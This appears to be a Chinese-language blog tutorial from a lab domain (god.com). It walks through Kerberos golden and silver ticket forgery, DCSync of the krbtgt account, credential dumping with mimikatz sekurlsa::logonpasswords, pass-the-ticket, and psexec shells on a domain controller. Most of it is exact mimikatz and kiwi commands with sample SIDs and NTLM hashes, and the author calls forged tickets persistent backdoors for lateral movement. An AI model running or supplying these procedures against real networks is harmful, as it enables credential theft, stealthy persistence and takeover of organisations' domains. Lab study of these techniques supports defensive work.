這裡我們金票偽造是在拿到krbtgt的sid和hash後進行偽造,總之你偽造的時候可以是普通使用者執行的mimikatz,拿到金票也是能夠用普通使用者許可權執行mimikatz匯入注入到記憶體中,注入後,普通使用者也能夠使用 dir \\主機名.域名\c$ 這樣檢視,不能用ip,你也可以試試ip,反正在我環境中失敗了。
然後金票其實就相當於一個後門,因為我們想要偽造金票,實際上我們已經有了管理員許可權了,不然是拿不到krbtgt的資訊的,我的理解就是金票是後門,你可以自己匯出來到本地,目標機器上也都放幾個金票,在有效期內都可以繼續使用,那麼橫向的時候一個金票走天下了。
mimikatz

條件

需要管理員許可權執行mimikatz,這裡只是要獲取krbtgt資訊,和金票的生成匯入沒有關係,生成和匯入都可以使用普通使用者許可權執行mimikatz
但匯入金票是不用管理員許可權的,也就是假設你本來就有金票,那就直接匯入就好了

執行命令

mimikatz.exe
privilege::debug
lsadump::dcsync /domain:god.com /user:krbtgt

#或者也可以匯出到krbtgt.txt檔案中
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:god.com /user:krbtgt" "exit" > krbtgt.txt

在這裡插入圖片描述

1.偽造金票,用krbtgt使用者的NTML hash 與 SID

mimikatz.exe
kerberos::golden /admin:system /domain:god.com /sid:S-1-5-21-1372085290-516318011-3378863887-502 /krbtgt:52a1fdc635b47bb9a867673594c9b4ba /ticket:ticket.kirbi

mimikatz.exe "kerberos::golden /admin:system /domain:god.com /sid:S-1-5-21-1372085290-516318011-3378863887-502 /krbtgt:52a1fdc635b47bb9a867673594c9b4ba /ticket:ticket.kirbi" "exit"

#這裡的SID值組成為:SID+RID(-502) RID去掉後才是域SID,如果注入失敗嘗試將後面的-502去掉,這是一個細節,你的sid不一定是和我的一樣,所以要注意不要被我說-502你就找-502,而是這個組成SID+RID

2.清空票據快取,以免有干擾

系統命令視窗執行:klist purge
或者在mimikatz中執行:kerberos::purge

3.注入金票票據到記憶體中

kerberos::ptt [票據檔案] #如果沒有和mimikatz在同一目錄下就寫檔案路徑

在這裡插入圖片描述

注入後我還以為可以使用普通使用者來操作域控,\沒想到還是要以管理員使用者的身份去進行操作:
dir \\WIN-Q23MC0LU96E.god.com\c$

不過後面想了一下也正常,畢竟我們執行mimikatz都是管理員身份了,也沒必要特地去搞個普通使用者來執行

在這裡插入圖片描述

以下是透過管理員身份執行的:dir \\WIN-Q23MC0LU96E.god.com\c$
在這裡插入圖片描述

kiwi

條件

需要管理員許可權建立票據

由於我拿到的meterpreter沒有提權無法得到票據資訊,所以這裡就給出命令即可

#載入kiwi 
load kiwi
#建立票據
golden_ticket_create -d <域名> -u <任意使用者名稱> -s <Domain SID> -k <krbtgt NTLM Hash> -t <c:\krbtgt.ticket>
#注入到記憶體
kerberos_ticket_use c:\krbtgt.ticket

反彈shell

條件

票據注入後希望直接在當前機器橫向拿到shell那就可以嘗試使用psexec
但就是有點煩,psexec還是要管理員許可權執行的哈~

當注入高許可權票據後,可以嘗試使用psexec進行反彈cmd,直接拿到機器的shell是最方便操作的。

用法:psexec.exe /accepteula /s \\主機名.域名 cmd.exe
psexec.exe /accepteula /s \\WIN-Q23MC0LU96E.god.com cmd.exe

在這裡插入圖片描述

白銀票據

介紹

白銀票據就是偽造的ST,直接和server交流,不經過KDC,
白銀票據也稱為專票,就是指定去訪問某一個服務的。

目標機器使用者雜湊

這裡需要拿到目標伺服器的域使用者NTLM hash和SID,一般來說拿到的使用者都是能夠在域的任意一個機器中使用的,如果不能的話銀票是偽造不了,因為這裡是需要對應使用者的銀票然後拿著銀票到目標伺服器,不然你拿著票也沒啥用,不像金票krbtgt一票走天下。

這裡獲取的方式就直接使用mimikatz了,很多方式就不介紹了

mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

#或者匯入檔案中
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > key.txt

銀票偽造

cifs服務(mimikatz)

環境

這裡我新增了一個新的win7系統加入到域中,為了更直觀的看到銀票的作用是`與伺服器互動的作用`
機器名為:Dhan-PC.god.com
ip:10.0.0.13
在Dhan-PC.god.com機器中匯出憑據看到他的使用者名稱和對應的hash
其他環境不變

條件

說在前面:rc4的hash和target的機器名要對應!!!
/sid: `客戶端`使用者的sid號 
/target: 需要`訪問的域伺服器`的`計算機全名` 
====================重點重點重點=============================
/rc4: 注意這裡不是找使用者hash口令,而是機器對應的ntlm hash。
	`一般用administrator的ntml hash`,
	mimikatz收集到的使用者名稱後面帶$符號的就是了,然後看下面的ntlm值,
	比如:DHAN-PC$的DHAN-PC就是機器名
============================================================
/service:需要偽造的服務,例如`cifs`訪問檔案服務 
/user: 指定需要偽造的使用者 
/ptt: 將偽造的票據匯入記憶體

在這裡插入圖片描述

命令執行

kerberos::golden /domain:god.com /sid:S-1-5-21-1372085290-516318011-3378863887 /target:DHAN-PC.god.com /rc4:b9f2f1bf723ce6b29a01b9f06c317f7d /service:cifs /user:fuck /ptt

重要的注意事項

ps:這個/target引數後面跟跟目標伺服器的 [$主機名.域名$]
這裡要用你`目標伺服器的域中機器名全名`
並且一般這個名字在你mimikatz匯出的憑證中帶$的
與此同時/rc4還要用這個機器的的ntlm hash,不可以隨便用,要對應著才行。
(本人試驗過使用機器的ip不適用機器名的話注入銀票後dir檢視失敗)

在這裡插入圖片描述

ldap服務(mimikatz)

我使用銀票偽造訪問ladp服務目的

由於我們無法直接接管dc但無意間拿到dc域控的ntlm
可以透過net time /domain等方法定位主機名全名
然後銀票偽造注入,檢視krbtgt的資訊,就可以偽造金票了
有了金票的話注入一手,就可以在金票有效期內到域環境中逛街了。

條件

0.重要的條件:不用管理員許可權執行mimikatz,票據注入貌似都不用管理員許可權
		  同樣的你注入成功後想要使用票據操作也是不用管理員許可權的哈
1.你要用ldap服務去獲取krbtgt的資訊一般只能用dc伺服器的主機名和ntlm hash去搞銀票,
  其他ldap功能用法沒試過,應該是可以用普通許可權的語言使用者
2.同樣需要目標伺服器的主機名全名還有他的機器的ntlm hash
3.sid的話域環境的sid就行

命令

kerberos::golden /domain:god.com /sid:S-1-5-21-1372085290-516318011-3378863887 /target:WIN-Q23MC0LU96E.god.com /rc4:f1975383b0df3f76d75360fa7728669b /service:ldap /user:dcfuck /ptt

lsadump::dcsync /dc:WIN-Q23MC0LU96E.god.com /domain:god.com /user:krbtgt

下面給出注入過程的截圖

注入成功
在這裡插入圖片描述

注入成功後,接著輸入:
lsadump::dcsync /dc:WIN-Q23MC0LU96E.god.com /domain:god.com /user:krbtgt

就拿到krbtgt資訊了
在這裡插入圖片描述

票據傳遞的總結

純屬個人理解:

票據相當於一個後門,在有效時間內,不管對面是否修改什麼使用者名稱或者使用者密碼都不會影響票據在有效期內的效果
金票:一旦匯入,普通許可權的使用者都能直接橫向移動
銀票:匯入成功,雖然只能對單一服務進行橫向操作,不過也夠了

不知道你有沒有和我一樣疑惑:
	我要搞票據資訊的環境本身就需要管理員許可權了,
	那我幹嘛還要高票據傳遞,我直接管理員許可權直接橫穿不就好了?
我答:其實這也是我剛剛說的金票和銀票其實更像是一種後門的存在,在有效期內不會受到干擾,只要還能用就還能橫著走。

金銀票據的區別

獲取的許可權不同
(個人覺得最本質的最好理解的區別就是這個)

金票:偽造的TGT,可以獲取任意Kerberos的訪問許可權
銀票:偽造的ST,只能訪問指定的服務,如檔案伺服器(CIFS)
	這也應了為什麼銀票要找機器的ntlm hash而不是域使用者的hash口令
	這必須不可以搞錯的概念,否則銀票學不會(正是這個原因困擾了我很久很久。。。。)

初探域滲透到此結束,後續碰到有意思的域環境滲透會及時同步分享。

相關文章